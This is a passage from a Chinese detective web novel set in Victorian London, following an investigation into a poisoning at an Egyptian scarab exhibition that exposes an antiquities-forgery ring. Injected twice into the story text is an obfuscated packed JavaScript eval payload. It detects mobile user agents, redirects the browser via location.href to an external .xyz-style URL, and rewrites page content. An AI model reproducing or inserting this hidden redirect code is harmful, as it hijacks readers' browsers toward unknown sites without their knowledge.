那是一个很容易引人注目的先生，戴着高顶礼帽，穿着正式的燕尾服，与苏格兰场的人格格不入。 我在我们的老朋友怀特警探的身上感觉到了一种敬畏，和他对待简的态度竟然有些相似。 “斯皮尔斯伯里先生，幸会，我是简·里斯克。” 简竟然主动向那位先生点头示意，那位先生也举了举自己头上的礼帽示意。 斯皮尔斯伯里先生，我想倒是知道他是谁了。 全英国最负盛名的法医病理学专家。 在我恶补的过去的新闻与凶案中，斯皮尔斯伯里先生的名字总是高频出现，并常常用他专业的能力帮助苏格兰场。 我并没有急着和斯皮尔斯伯里先生交谈，那并不是当务之急，目前最重要的是倒在地上的格雷厄姆先生，已经那个神秘的圣甲虫。 斯皮尔斯伯里先生先是蹲在地上仔细查看了倒在地上的格雷厄姆先生，他的脸色是发绀的，脖颈上满是指痕。 显然，虽然他迅速地倒地了，他仍然曾痛苦地挣扎。 然后斯皮尔斯伯里先生就在其他人的注视下，从取证箱里取出一个透明的证物袋，用戴着手套的手拿着镊子，极其谨慎地捏着圣甲虫，将它提起来，放入袋中，封好口。 而格雷厄姆先生，则是被两个苏格兰场的警探用担架抬起，在其他警探的护送下离开。 “初步判断是中毒，剩下的，我得到圣玛丽医院研究下，也不属于我的工作。”他向简点了点头，然后就非常紧急地走了。 “他真讨厌，不是吗？”那位帮助过我的、疑似cross的先生在我旁边说。 我看向他，有些疑惑，“什么？” “装腔作势，高高在上…让人讨厌。”他虽然说着厌恶，但语气却极为平静。 没一会，他就无视了怀特警探，自顾自地去简的身边。 “好吧好吧…接下来，我们的里斯克大侦探要怎么调查呢？” 简瞥了他一眼，然后看向了一众沉默的、神色各异的宾客。 “在初步调查结果出来之前，需要几位先生女士先配合一下。” “莫里斯博士，兰开斯特先生，特拉尔先生……”简每报一个名字，那个人的周围的人就后退好几步，而那些人本人，则是满是无辜与不可置信。 “凭什么？！这明明是法老的…”兰林·科尔夫人尖锐地叫着。 “因为你们在格雷厄姆先生之前，接触了圣甲虫，这是也为了你们的安全着想。”我尽力地安抚这位似乎已经有些失控的夫人。 最终，除了我和简，需要留下来的人有八人。 还有主人西弗西斯先生，以及那位疑似cross的先生。当然，还有那位一直拿着托盘的男仆先生。 无论究竟是谋杀，还是意外，这些人接触过圣甲虫，确实都需要检查一下。 想到更多的，那些人也不在吵闹，脸色苍白。 “确实，”怀特警官转向那几位，语气不容置疑，“为了排除风险，需要各位配合去医院做个检查。毕竟都接触过那东西，谨慎点为好。” 没人再出声反对。 科尔夫人脸色惨白，被女仆搀扶着。 莫里斯博士紧抿着嘴，一言不发。 兰开斯特掏出手帕不停擦汗。 西弗西斯先生看起来失魂落魄。 那位神秘的先生则依旧平静，仿佛只是要去参加一个无聊的茶会。 几辆苏格兰场的汽车将我们一行人送到了最近的圣玛丽医院。 当然，这是普通检查，犯不着打扰或许正专注于尸体的斯皮尔斯伯里先生。 过程冗长而沉默。 医院永远弥漫的消毒水的气味取代了展会的熏香，明亮的灯光下，每个人脸上的不安和疲惫都无所遁形。 简单的检查和问询主要是确认是否有中毒或不适症状。 结果并无异常，除了普遍升高的心率和血压，我想这更多源于惊吓和紧张。 检查结束后，怀特警官记录下每个人的联系方式和地址。 “暂时可以回去了，”他板着脸说，“但近期不要离开伦敦，随时可能再找你们问话。” 众人如蒙大赦，纷纷离开医院，各自钻进马车或汽车，很快消失在伦敦的夜色里。 最后只剩下我、简，还有那位我几乎已经确定是cross的先生。 他缓步走过来，路灯在他身上投下长长的影子。 “一场闹剧，不是吗？” 他语气轻松，仿佛刚才经历的不是命案而是一场拙劣的戏剧演出，“就是可惜了那件小东西，要暂时待在实验室里吃灰了。” 简挡在我身前，她随意地拢了拢大衣，“你似乎对结局并不意外，该不会…？” “唉唉唉？！不要冤枉好人哦，我可什么都没干…” 又是那种割裂的跳脱，和他给人的稳重的第一印象完全毫不相干。 他耸耸肩，后退几步。 “哈哈，这是意料之中吧？当一件东西被太多人渴望，又笼罩着不祥的传说，出事只是时间问题。人性如此。” 他微微颔首，“那么，两位小姐，夜安。希望下次见面时，能有更……有趣的事情发生。” “哦，对了…”他说着，不知道是怎么做到的，手里迅速地变出了一个盒子，“送给小姐的见面礼，我是cross，哈哈！” 他把手里的盒子朝简一抛，转身步入昏暗的街道，身影很快与夜色融为一体。 简打开了盒子确认了一下，然后把手里的盒子递了过来，“给你的。” “这是？”里面是两条珍珠项链，至少都不普通。 “见面礼。放心，应该是干净的。”简低头看了看，“他不差这点。” 简这样说，我反倒是更好奇怪盗克罗斯的真实身份了，但我也没问什么，只是把这似乎是给我们两人的见面礼收进了手提包里。 “…也许我应该谢谢他。” 简看着我的动作，关注点落在了我的手上。 “怎么了？”我问。 我的手并没有受伤，也应该没有然后问题，除了… “这戒指也是一个很好的礼物，我很喜欢。”我笑了笑。 “咳咳…好吧。”简咳嗽了几声，又来口换了个话题说：“你不用那么在意克罗斯，他只是有些…呃…装腔作势…也不用有负担。” “好。”我点点头，“简，我们回家吧。” “嗯。”她应道。 当然，这个夜晚，有多少人彻夜未眠，我们并不知晓。 第二天清晨，苏格兰场办公室里的空气还带着昨夜未散的寒意。 斯皮尔斯伯里先生的确相当敬业，他通宵达旦地得出了结果，虽然报告很简短。 他直接告诉怀特警官，格雷厄姆先生中的是一种埃及特有的毒，由几种罕见的植物毒素混合而成，作用很快，像是某种特殊仪式里会用到的古老配方。 还有卢西恩·格雷厄姆先生确实是有着罕见的皮肤敏感症，导致他更容易受这种毒素影响，应该是皮肤接触导致的中毒。 至于那珍贵的圣甲虫，他明确说了，没毒。 怀特警官搓了把脸，这意味着谋杀是坐实了。他让手下把报告复印几份，尤其要给简一份。 虽然当时我和简就在旁边。 “毒来自埃及，和圣甲虫无关。”简总结道。 “所以凶手是想让它看起来像诅咒，或者只是想用这东西吸引格雷厄姆的注意？”我问。 “都有可能。”简说，“现在得搞清楚谁有机会下毒，以及为什么。” 怀特警官走了过来，脸色不太好。 “既然是谋杀，我们就得去调查一下死者的社会关系，还有那几位……” 怀特警探叹了口气，“一共八个。一个个问吧。” 他递过来一张名单。询问工作枯燥而必要，得从这些人的话里，找出任何不对劲的地方。 “我们分头行动？”他看向简，“里斯克小姐，你和弗瑞小姐去西弗西斯家，问问他和他的仆人。还有那位卡特先生，据说他们为了几单生意闹得很不愉快。” 简顿了顿，目光扫过名单上另一个名字。 “至于最后这位先生…不用问了。”简说。 “嗯？什么？”怀特警探惊讶地抬起头。 “那是克罗斯。”简直截了当地说。 “是吗？好吧。”怀特警探捏了捏鼻根，语气里带着心照不宣的无奈，仿佛明知去找那位怪盗纯属浪费时间，甚至可能都是假的。 当然，怪盗不会留下真正的信息，也没人真的认为克罗斯是凶手，至少，不是这种下毒的凶手。 简点点头，没多说什么。我们便起身离开了苏格兰场。 外面的天气灰蒙蒙的，典型的伦敦天气。 我们先去了西弗西斯先生的宅邸。 应门的正是昨晚那个男仆，他脸色苍白，看到我们时眼神有些躲闪。 他将我们引到书房，西弗西斯先生正坐在书桌边，手里端着一杯酒，尽管还是上午。他看起来比昨晚更加憔悴，眼下的乌青很重。 “警官…还有里斯克小姐，”他声音沙哑，“请坐。我能提供的帮助恐怕有限。” 简没有寒暄，直接切入正题，“当然不是，西弗西斯先生，我们需要了解卢西恩·格雷厄姆先生，不仅仅是作为你的合作伙伴。” 西弗西斯的手握着着玻璃杯，眼神有些飘忽，整个人似乎陷入了回忆。 “卢西恩……他是个天才，无可替代的天才。他对古物，尤其是宝石和金属，有着近乎神赐的直觉和技艺。很多破损严重的藏品，经过他的手都能重现光彩。” “他的工作室在哪？”简问。 “就在梅菲尔，离这里不远。他很少接待访客，工作需要绝对安静。” 西弗西斯啜了一口酒，“他有严重的皮肤敏感症，几乎从不徒手接触任何东西，工作室里也永远备着特制的药膏和手套。”他顿了顿，补充道，“这也是为什么他昨晚戴着手套拿起圣甲虫，没人觉得奇怪。” “您最后一次见到他，除了昨晚，是什么时候？” “大概……三四天前？他来给我看一枚刚修复好的罗马金币。”西弗西斯的目光扫过书架上一个不起眼的抽屉，又迅速移开，“我们聊了聊最近的收购计划，包括……嗯，包括那枚圣甲虫。他很期待能亲手检查它。” “他当时状态如何？”我问。 “和平时一样，有点紧张，专注于工作。没什么异常。”西弗西斯回答得很快，几乎是脱口而出。 简转而问道：“听说你和他，与卡特先生有些过节？” 西弗西斯皱起眉，显得有些不耐烦，“卡特？那个固执的考古学家？他一直声称圣甲虫应该属于埃及，属于大英博物馆，甚至自称原主人……但这谈不上什么过节，观念分歧而已。” 接下来的问询，西弗西斯的回答更加模糊，语焉不详。 “哦！小姐们！我甚至是太伤心了！我的朋友，可怜的格雷厄姆，怎么会？！”他用他异域的腔调哀嚎着，然后又猛地灌了一口红酒，“抱歉，小姐们，我可能是醉了……” 最后，我们不得不离开了书房。 “抱歉，小姐们…先生可能是实在太伤心了……”接待我们的仍然是昨晚那位男仆。 “哦，可以理解。对了，他们关系很好？”我随口问。 “是的，小姐。先生，格雷厄姆先生，还有兰开斯特先生，他们…”男仆的话突然停顿，脸色更加苍白。 “他们的关系很好？”简明显不想为难一个男仆，她接话道。 “是的！”仆人松了一口气应道。 “哦，对了，还有些问题需要询问一下你，能麻烦你到旁边房间稍坐片刻吗？不会占用太多时间。” 男仆，他自我介绍叫埃利斯，明显紧张起来，僵硬地点点头。“好的，小姐。这边请。” 他将我们引至一间小型会客室，手足无措地站在一旁。 “请坐，埃利斯先生。”简自己先在一张扶手椅上坐下，姿态放松，仿佛只是闲聊，“昨晚的情况确实令人震惊，我们需要尽可能还原每一个细节。你负责捧着圣甲虫的托盘，是吗？” “是…是的，小姐。”埃利斯依言坐在沙发边缘，“西弗西斯先生吩咐我负责展示环节。” “整个过程，圣甲虫一直放在托盘里？除了各位宾客和格雷厄姆先生拿起它的时候。” “是的，小姐。我一直非常小心。” “在展示开始前，圣甲虫被取出后，到放入托盘由你端着的这段时间，有经过其他人的手吗？或者你有没有离开过它？” 埃利斯努力回想，“没有……西弗西斯先生亲自将它从展柜取出，然后就直接放到了我端着的托盘里。之后我就一直捧着它，直到……直到传来……” “在这期间，托盘和圣甲虫本身，有没有发生什么异常？比如被人碰撞，或者你感觉到什么异样？” “没有，小姐。一切都很好。”他回答得很快，但眼神有些闪烁。 简的目光落在他那双保养得相当不错的手上，忽然问了一句看似不相干的话：“埃利斯先生，你为西弗西斯先生工作多久了？” 埃利斯愣了一下，“三、三年了，小姐。” “喜欢这份工作吗？西弗西斯先生似乎是一位要求很高的收藏家。” “先生他……确实要求很高。但能接触到那些珍贵的藏品，是份体面的工作。”他说。 “确实体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296119|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。”简微微前倾，声音压低了些，“所以，在格雷厄姆先生倒下前，当你端着托盘经过维克多·兰开斯特先生身边时，我注意到他好像轻轻咳嗽了一声，用手帕捂了下嘴……动作很快。当时他的手臂似乎离托盘非常近。你有注意到吗？或者感觉到什么？” 埃利斯的脸色“唰”地一下又白了，额角瞬间渗出细密的汗珠。 他猛地吞咽了一下，眼神慌乱地瞟向门口，又迅速垂下。“我……我没太注意，小姐。当时人很多，有些拥挤……我必须集中精神端稳托盘……” 他的反应过于激烈。 简没有继续逼问，而是顺势换了个角度，“我明白了。那在更早之前，比如圣甲虫被取出前，是由你负责擦拭展柜或做最后准备的吧？当时有没有发现什么不寻常的地方？” “没、没有！一切都和往常一样！”埃利斯几乎是从沙发上弹起来，又意识到失态，强忍着坐下，“小姐，我只是个仆人，按照吩咐做事。我真的什么都不知道……” 他的声音带着不易察觉的颤抖。 简静静地看了他几秒。然后，她缓缓站起身。 “好的，埃利斯先生，感谢你的配合。如果想起任何细节，请务必联系苏格兰场或我们。”她递过去一张名片。 埃利斯几乎是抢一般接过名片，连声道：“好的，一定，一定……” 离开西弗西斯宅邸时，伦敦的天空依旧阴沉。简站在街边，回望那栋华丽的建筑，语气平淡却带着冷意。 “弗瑞，的确很有意思，不是吗？”简问。 “或许？那位仆人必然知道西弗西斯先生那三个合伙人什么东西，还有什么？”我记完最后一笔记号，抬起头问。 “谁知道呢？”简收回目光，“接下来，该去拜访那位同样对圣甲虫归属耿耿于怀的卡特先生，还有其他的宾客们了。” “等等，怀特警探不是说分头……” “我总要自己调查，才能知道。”简说。 好吧好吧，但这就是简，不是吗？ 卡特先生住在一栋略显陈旧的老公寓里。开门时，他仍穿着身略显宽大的旧西装，脸色阴沉。 “侦探？”他声音干涩，“进来吧。我知道你们会来。” 他的公寓里堆满了各种各样的东西。他示意我们坐在两张堆满杂物的椅子上，自己则靠在书桌边缘。 “为了格雷厄姆？”他直接问。 “是的，”我说，“还有圣甲虫。” 卡特发出一声短促的冷笑。“报应。玩弄不属于自己的东西，总会遭报应。” “你似乎并不意外他死了。”简平静地说。 “意外？不。他们那个小团体，西弗西斯，格雷厄姆，还有那个兰开斯特，迟早要出事。” 卡特的眼神锐利起来，“他们根本不在乎文物的真正价值，只在乎能卖多少钱。格雷厄姆？什么天才修复师……哼。” “你怀疑他的能力？”我问。 “我怀疑他的道德！” 卡特提高了声音，“太完美了，完美得像重造！！还有西弗西斯！费尽心机抢夺别人的宝物！” “你有证据吗？” 卡特噎了一下，愤愤地别开脸。 “没有。但他们知道我知道。我们吵过很多次，在学会里，在报纸上。” “昨晚呢？你接触圣甲虫时，有没有发现异常？” “没有。我只来得及看一眼……那本该是属于博物馆的！那是我发现的！怎么也轮不到他！！”他的情绪又激动起来，手指紧紧攥着桌沿，“它不该被拿来炫耀，更不该被那伙人经手！” 简没有对他的愤怒做出评价，只是继续问，“你注意到格雷厄姆先生碰它时的样子吗？有什么特别？” 卡特皱眉回想，“他戴着手套，态度粗暴。脸色很差，满头是汗。像是在检查什么，而不是欣赏。我当时只觉得他可悲。” 我们离开时，卡特先生仍站在门口。 “下一个，”简拿出名单划掉卡特的名字，“维克多·兰开斯特。” 兰开斯特的办公室位于寸土寸金的金融城别墅。红木地板，厚地毯，似乎一切都光鲜亮丽。 “可怕的悲剧，”他请我们坐下，递来雪茄（在我的注视下被简婉拒），“可怜的卢西恩。还有那该死的诅咒传闻……对我的生意没半点好处。” “你和格雷厄姆、西弗西斯先生合作密切？”简问。 “商业伙伴，互惠互利。”兰开斯特谨慎地说，“我负责提供一些资金，还有为一些藏品寻找……合适的买家。卢西恩负责让它们看起来更完美。西弗西斯提供资源和名望。” “昨晚你接触圣甲虫时，感觉如何？” “美极了，也很…瘆人。”他掏出手帕擦擦额头，“尤其是翅膀弹开的时候。我承认我当时有点慌，想摸摸看是不是机关……被仆人拦住了。” “之后呢？你注意到格雷厄姆先生有什么不对吗？” “他看起来紧张得快晕过去了。但我以为他只是太投入。” 兰开斯特顿了顿，压低声音，“说实话，侦探小姐们，你们该多问问西弗西斯。他和卢西恩最近为钱吵过几次。西弗西斯投入太大，回本慢，卢西恩抱怨分账不公。” “哦？”简挑眉，“很激烈的争吵？” “不至于动手，但……不愉快。”兰开斯特意味深长地说。 简的视线落在桌子一角。 那里随意放着一副白色的棉质手套，和格雷厄姆昨晚戴的颇为相似，边缘似乎沾着一点不易察觉的细微粉末。 但简并没有表现出什么。 离开兰开斯特的办公室，简在名单上又划掉一个名字。 “他似乎在把嫌疑转到西弗西斯先生身上去。”我说。 “你说的对。为钱争吵？也不知是谁？呵。” 我笑了笑，这样一位“有钱人”，偌大的房子里，竟然没有什么装饰品，那就很耐人寻味了。 至于剩下的几位宾客，问询收获寥寥。 科尔夫人坚持认为是“法老的愤怒”，反复描述她感受到的“黑暗能量”。 “那原本都要属于我了！一定是神明注意到了！神明在愤怒！” 莫里斯博士则从学术角度分析了圣甲虫的工艺和铭文，但对人事一概不感兴趣，只对宝物被警方扣留表示遗憾。 美国大亨特拉尔只觉得“刺激”，像看了场好戏，并询问能否买下圣甲虫，当然，是“等它没那么晦气之后”。 问完所有人，已是傍晚。街道被昏黄的煤气灯照亮。 简站在路灯下，看着那份划满记号的名单，沉默片刻。 “毒是下在圣甲虫上的？但斯皮尔斯伯里说它没毒。” “毒可能下在别的地方，”简的目光投向远处，“比如……只有格雷厄姆会受影响，而别人不会特意去碰的地方。” 她收起名单。“明天我们需要再去一趟格雷厄姆的工作室。有些问题，得在那里找到答案。” 76.9.4 翌日清晨，格雷厄姆工作室的门被苏格兰场的警员强行打开。 一股独特的气味扑面而来。 工作室宽敞却杂乱，靠墙立着高大的多层工作台，上面摆满了各种叫不出名字的工具……角落里堆着待修复的陶器碎片和青铜器，另一边的架子上则陈列着已完成的作品，金属碎屑和矿物粉末在从高窗射入的光线下微微闪烁。 另一边是化学台，许多贴着手写标签的瓶瓶罐罐。空气里的特殊气味多半来源于此。 我走过去，看到简正用一个镊子轻轻拨开一堆天鹅绒衬布。 衬布下露出几块颜色、质地各异的石头碎块，旁边还有几个小瓷碟，里面残留着不同颜色的粉末，红得像干涸的血，蓝如深邃的夜空，绿似陈年的铜锈。 “这是…颜料？”我猜测道。 简没有立刻回答，而是用镊子小心地沾取了一点，放在鼻尖前（有一段距离的），用另一只手轻微扇动。 “不…做旧仿锈，包浆用的。”简的面上透着了然。 “你是说…造假？”卡特先生的说法一下出现在了我的脑海。 简没有回答。 她走到陈列架前。 上面的物件都被精心修复过，一件阿努比斯雕像，青铜底座泛着新擦亮的金光；几枚金币排列在丝绒垫上，图案清晰，几乎看不出损伤。 太过完美了。 她拿起一枚金币，指腹摩挲着边缘。手感过于光滑均匀，几乎不像历经千年的磨损。 她的指尖在金币侧面一道极细微的接缝处停顿了一下。 “怀特警官，”她忽然开口，“能请一位金银匠过来吗？最好精通古物复制。” 怀特愣了一下，但还是挥手让下属去办。 等待的时间里，简继续审视着工作室。 …… “这是？” 我注意到工作台下有一个不起眼的矮柜，柜门锁着。 怀特警官直接让人撬开。 里面不是毒药，而是几本厚厚的账簿，以及一些往来信件的副本。 账簿记录着一些模糊的收支，代号式的条目，但数额巨大。 信件则多是西弗西斯和兰开斯特的笔迹，讨论着某些“特殊订单”的交付时间和“工艺要求”。 其中一页，西弗西斯潦草的字迹写道：“……卢西恩，这次的金币成色必须完美，那位美国买家很挑剔，他要的是能通过任何检验的‘真品’……至于那圣甲虫，兰开斯特已打点好……” 金银匠很快到了。是位老师傅，眼神锐利，手指粗糙。 简将那枚金币递给他。老师傅掏出放大镜，仔细看了片刻，又用指尖轻轻敲击，放在耳边细听。 然后他摇了摇头。 “小姐，这手艺是顶好的，几乎以假乱真。”他顿了顿，“但是不对…含金量不对，重量略轻，边缘的磨损是做旧的，仔细看能看出工具痕迹。里面……听声音，怕是空心的。” 他将金币递还，语气肯定，“这是近年的高仿，而且是在原币基础上翻模重铸的。做这个的人，是个高手，但没安好心。” 工作室里一片寂静。 所有的线索似乎都串联了起来。 那些化学品，那些粉末，那些信件和账簿，还有这枚几乎完美的假金币。 卢西恩·格雷厄姆先生，与西弗西斯先生，还有兰开斯特先生三人，可能同处于一个造假团伙。 调查似乎陷入了僵局，却又隐隐指向某个方向。 这个发现令人心惊。 若造假属实，那么围绕圣甲虫的死亡，其动机便远非简单的诅咒或争执所能概括。 “怀特警探，”简的声音打破了工作室内的沉寂，“看来我们需要重新调查几位之间的关系和动机了。” 怀特警探面色凝重，挥手让警员将账簿和信件小心收做证物。 “造假，谋杀……这案子比看起来复杂得多。我立刻加派人手，盯紧西弗西斯和兰开斯特。” “或许不止他们。”简的目光扫过那些化学粉末和仿造工具，“知道格雷厄姆手艺，或者利益名誉可能会受其影响的，还有几位。” 我们再次拜访了科尔夫人。 这一次，她的灵媒宅邸显得更为阴冷，空气中浓郁的熏香几乎令人窒息。 听闻格雷厄姆可能参与造假，科尔夫人先是震惊，随即爆发出近乎狂热的愤怒。 “虚假！充斥虚假的能量！”她尖声道，“我早该察觉！他为我净化过的几件小玩意儿，上面的灵光如此浮夸虚假！原来只是化学药剂和拙劣模仿！” “亵渎！这是对古老能量的彻底亵渎！”她尖声道，手指上的戒指因激动而碰撞作响，“格雷厄姆……他玷污了神圣的工艺！他必然触怒了真正的守护灵！” 她声称自己数天前得到暗示，可以花高价得到那珍贵的圣甲虫，却因格雷厄姆态度轻浮而作罢。 “现在想来，他定是想用他那双沾满铜臭和谎言的手仿造一件！幸好！幸好我没答应！” 她的话真假难辨，那愤慨中似乎掺杂着未能得偿所愿的嫉恨。 接着是卡特先生。在他的公寓里，听到格雷厄姆可能造假的消息，他脸上露出一种“果然如此”的讥讽和厌恶。 “我早就说过！他那双手，根本不配触碰真正的历史！”他激动地在堆满杂物的房间里踱步，“你们知道吗？他曾想‘修复’我最早发现的一批陶器碎片……被我严词拒绝！我宁愿它们保持破碎的真实，也不要被完美地伪造！还有圣甲虫…哦！！怎么也不应该落不到外面那些该死的人手里！” 他暗示西弗西斯和格雷厄姆曾试图说服他交出一些关键文物用于“研究”，甚至提出高价购买，被他斥为抢劫。 还有圣甲虫，他说出了圣甲虫出现在西弗西斯先生手里的原因。 卡特先生的脸因愤怒和痛苦而扭曲，他猛地从一堆散落的纸页下抽出一本皮质封面的旧笔记，粗暴地翻到某一页，指着一张潦草的素描和几行笔记。 那素描勾勒的，正是那枚“缄默的圣甲虫”，线条精准，细节分明，甚至连翅膀内侧不易察觉的纹路都有标注。 “看！这是我在图坦卡蒙墓附近一次非正式勘探时画的！当时它嵌在一处残破墓穴的砖石缝里，几乎被沙土掩埋！” 卡特的声音颤抖着，充满了懊悔与不甘，“我当时人手不足，设备简陋，无法进行妥善挖掘……我只取了些周边样本，做了记录，打算回去申请正式许可和资金……” 他重重合上笔记，眼神锐利地看向我们。 “我信任了错误的人！西弗西斯，那时他还在伪装成一个热心的、有门路的赞助人！他表示愿意提供资金和支持，换取共同探索的机会。我……我一时糊涂，向他透露了初步的发现，包括这枚圣甲虫的草图和一些描述……” 卡特深吸一口气，仿佛接下来的话语不断地刺痛他的心。 “结果呢？不到两个月，他就‘偶然’地在开罗的古物市场上‘发现’了它，并凭借其卓越的眼力和雄厚的财力迅速将其收入囊中！他对外宣称是从一个急需用钱的沙漠部落长老手中购得，手续齐全！” 他的手指紧紧攥着笔记，无比愤怒。 “世上哪有如此巧合的事？！唯一的解释就是，他派人抢在我之前，粗暴地把它挖了出来，并伪造了来源！而格雷厄姆……哼，他负责让它变得光彩照人，符合西弗西斯编造的故事！” 卡特的指控掷地有声，听起来并非空穴来风。 “所以你恨他们。”简平静地陈述。 “恨？”卡特冷笑一声，笑声干涩而苦涩，“我鄙视他们！他们玷污了考古学的精神，将历史变成了商品！格雷厄姆的死？或许是报应，或许是分赃不均……谁知道呢？但他们那个小圈子里，没有无辜者！” …… 离开卡特压抑的公寓，我们紧接着拜访了莫里斯博士所在的大学办公室。 博士听到格雷厄姆可能造假的消息时，猛地站起身，打翻了一杯咖啡也浑然不觉。 “这……这不可能……那件银盘……”他喃喃自语，踉跄着走到一个上锁的玻璃柜前，里面正陈列着那件他提及的拜占庭银盘。银盘光泽柔和，图案精美，看不出丝毫瑕疵。 “我毕生的声誉……我的研究都建立在它的真实性上……”他颤抖着掏出钥匙，打开柜门，小心翼翼地取出银盘，戴上眼镜仔细察看，越看脸色越是苍白，“如果……如果这是假的……我的几篇论文……天啊……” 恐慌迅速转化为被羞辱的愤怒。“格雷厄姆！他怎么敢！西弗西斯一定也脱不了干系！他们联手愚弄了整个学术界！”此刻，对学术声誉的担忧似乎暂时压倒了对谋杀案的恐惧。 而当我们找到美国大亨特拉尔时，他正在豪华酒店套房里享受着午餐，对格雷厄姆的死和造假传闻显得毫不在意，甚至更加兴奋。 “造假？哇哦！更刺激了！所以那圣甲虫也可能是假的？那我更要买了！真的死的，假的活的，都有意思！”他挥舞着餐刀，语气轻佻，“告诉我，侦探小姐，如果那是格雷厄姆仿造的杰作，是不是也算一种艺术品？值多少钱？” 他对于谋杀的冷漠态度令人不适，仿佛在谈论一场与他无关的戏剧。 他甚至直言，无论真假，只要故事够精彩，他都有兴趣“收藏”，包括“导致死亡的毒药圣甲虫”这个概念本身。 线索纷乱杂陈，似乎每个人都有动机，或为利益，或为名誉，或出于某种扭曲的“正义感”。 夜色再次降临，我和简回到事务所，整理着目前的发现。 “毒药来自埃及，熟悉圣甲虫，熟悉格雷厄姆的习惯，有机会接触并下毒……”我梳理着，“范围似乎缩小了，但又好像每个人都沾点边。” 简靠在椅背上，指尖轻叩那份名单，“下毒需要机会。圣甲虫本身无毒，毒是如何精准地只让格雷厄姆接触到的？” 她闭上眼，回忆着晚会的每一个细节：“埃利斯，那个男仆……兰开斯特的咳嗽和手帕……格雷厄姆那异常苍白的脸色，还有粗暴的动作……还有他始终戴着的手套……” 忽然，她坐直了身体，眼睛睁开，闪过一丝锐光。 “弗瑞，格雷厄姆有严重的皮肤敏感症。他戴手套不是为了保护古董，而是为了保护自己。他的手本身就有问题，可能极易吸收异物。而毒药，如果是极细的粉末，未必需要他吞食或者注射……” 就在这时，事务所的门被轻轻敲响了。 那位穿着深灰色西装、身姿挺拔的先生，（现在我们都已经知道这张脸后面是克罗斯了）仿佛只是路过般闲适地走了进来，脸上依旧挂着那抹与周遭格格不入的、略带讥讽的微笑。 “晚上好，忙碌的侦探们。”他自顾自地拉过一张椅子坐下，动作优雅自然，“听说你们的调查遇到了瓶颈？或者说，陷入了人人有嫌疑，却又难以定论的尴尬境地？” “克罗斯，”简的声音带着警告的意味，“这里不欢迎你。” “我也可以随时出去。”他撑着手说。 简的似乎有些无奈，“这里没你的事。” “别那么严肃，里斯克。我只是个好奇的旁观者，来提供一点……微不足道的视角。” 克罗斯轻笑一声，目光饶有兴致地扫过我和简，灰蓝色的眼睛里闪烁着洞悉一切的光芒，“大家似乎都在激烈地争论真假，争论所有权，争论谁更正义，谁的手艺更高明……” 他夸张地摊开双手，语气陡然变得轻佻而尖锐，像一把冰冷的匕首，精准地剥开了所有冠冕堂皇的借口。 “但说来说去，西弗西斯巧取豪夺，格雷厄姆伪造篡改，兰开斯特销赃牟利，卡特隐瞒发现并间接引狼入室，科尔故弄玄虚想趁机捞取‘灵物’，特拉尔只想满足猎奇收藏欲，莫里斯可能因轻信而学术声誉扫地……哈哈哈哈哈” 他笑出了声，那笑声在安静的办公室里显得格外清晰刺耳。 他环视着我们，一字一句，清晰地说道： “瞧瞧，大家不都是小偷吗？偷取宝物，偷取真相，偷取名誉，偷取金钱……只不过，每个人偷的东西不同，方式各异罢了。谁又比谁更高贵呢？” “说是这么说，你怎么知道的？你明明没有……”我忍不住问。 “我就是知道，还有，谁说我没有参与你们今天的调查？我可从没有被叫警官呢？哈哈！” 克罗斯站起身，优雅地整理了一下并不存在的袖口褶皱，走向门口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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西弗西斯先生是太阳，光芒万丈，吸引着所有的目光与交易，却也无情地蒸干着周围的一切。 格雷厄姆则是被太阳照拂的月亮，凭借自身才能反射着光华，甚至渐渐拥有了自己的轨道。 而他，兰开斯特，是逐渐被遗忘在阴影里的尘埃。 他的价值在于连接，在于处理那些阳光下的“实务”。但当格雷厄姆开始对某些“订单”流露出艺术家的迟疑，并且日复一日增加分成时，当西弗西斯对此表示出越来越明显的不耐时，兰开斯特感到了彻骨的寒冷。 他意识到，一旦这条连接断裂，他将立刻变得毫无价值，被双方同时抛弃。 可他早就被绑定在这条黑暗的航线上，所有的资金流转、人脉网络都为此服务。 杀死格雷厄姆，是他能想到的唯一能重新掌控局面的方式。 用“诅咒”掩盖，能暂时安抚西弗西斯；而混乱中，他或许能拿到那些真正能证明西弗西斯相关的通信记录，那是他未来谈判的筹码。 案子了结，但空气并未变得清新。 几周后，我们意外地收到了西弗西斯先生的邀请，参观他在切尔西一家私人画廊举办的小型鉴赏会。他似乎毫不在意最近的风波，甚至乐于展示他与丑闻的近距离。 画廊里灯光柔和，宾客低声交谈。 西弗西斯先生正在向一小群人展示一件埃及彩陶，他的声音磁性而自信，仿佛不久前死去和入狱的，只是两个无关紧要的名字。 他看见我们，并未回避，反而微笑着走了过来。 “里斯克小姐，弗瑞小姐，”他颔首致意，姿态无可挑剔，“很高兴你们能来。艺术和历史总是很没好，不是吗？”他目光扫过展厅，像是在欣赏自己的王国。 简没有回应。 “我想是的。”我微妙地笑了笑，应付道。 西弗西斯笑了笑，那是一种宽容的、觉得对方很有趣的笑容。 “真相就像古董上的包浆，年代越久，层次越复杂。有些人只看到最光鲜的那一层，就以为是全部。” 他轻轻拿起旁边托盘里的一枚古希腊银币，用手指摩挲着边缘，动作和当日的格雷厄姆有几分诡异地相似。 “兰开斯特先生……他就是太执着于表面了，忽略了器物本身更深沉的价值。可惜。”他放下银币，语气里听不出丝毫可惜。 “而格雷厄姆先生，”他继续道，声音里带上一种真正的惋惜，“他过于追求完美，以至于忘记了，一件藏品之所以能流传于世，往往是因为它有一个……好故事。而故事，有时需要一点恰当的修饰。” 他看向我们，眼神平静，却带着一种不容置疑的意味。 他没有承认任何事，却解释了一切。 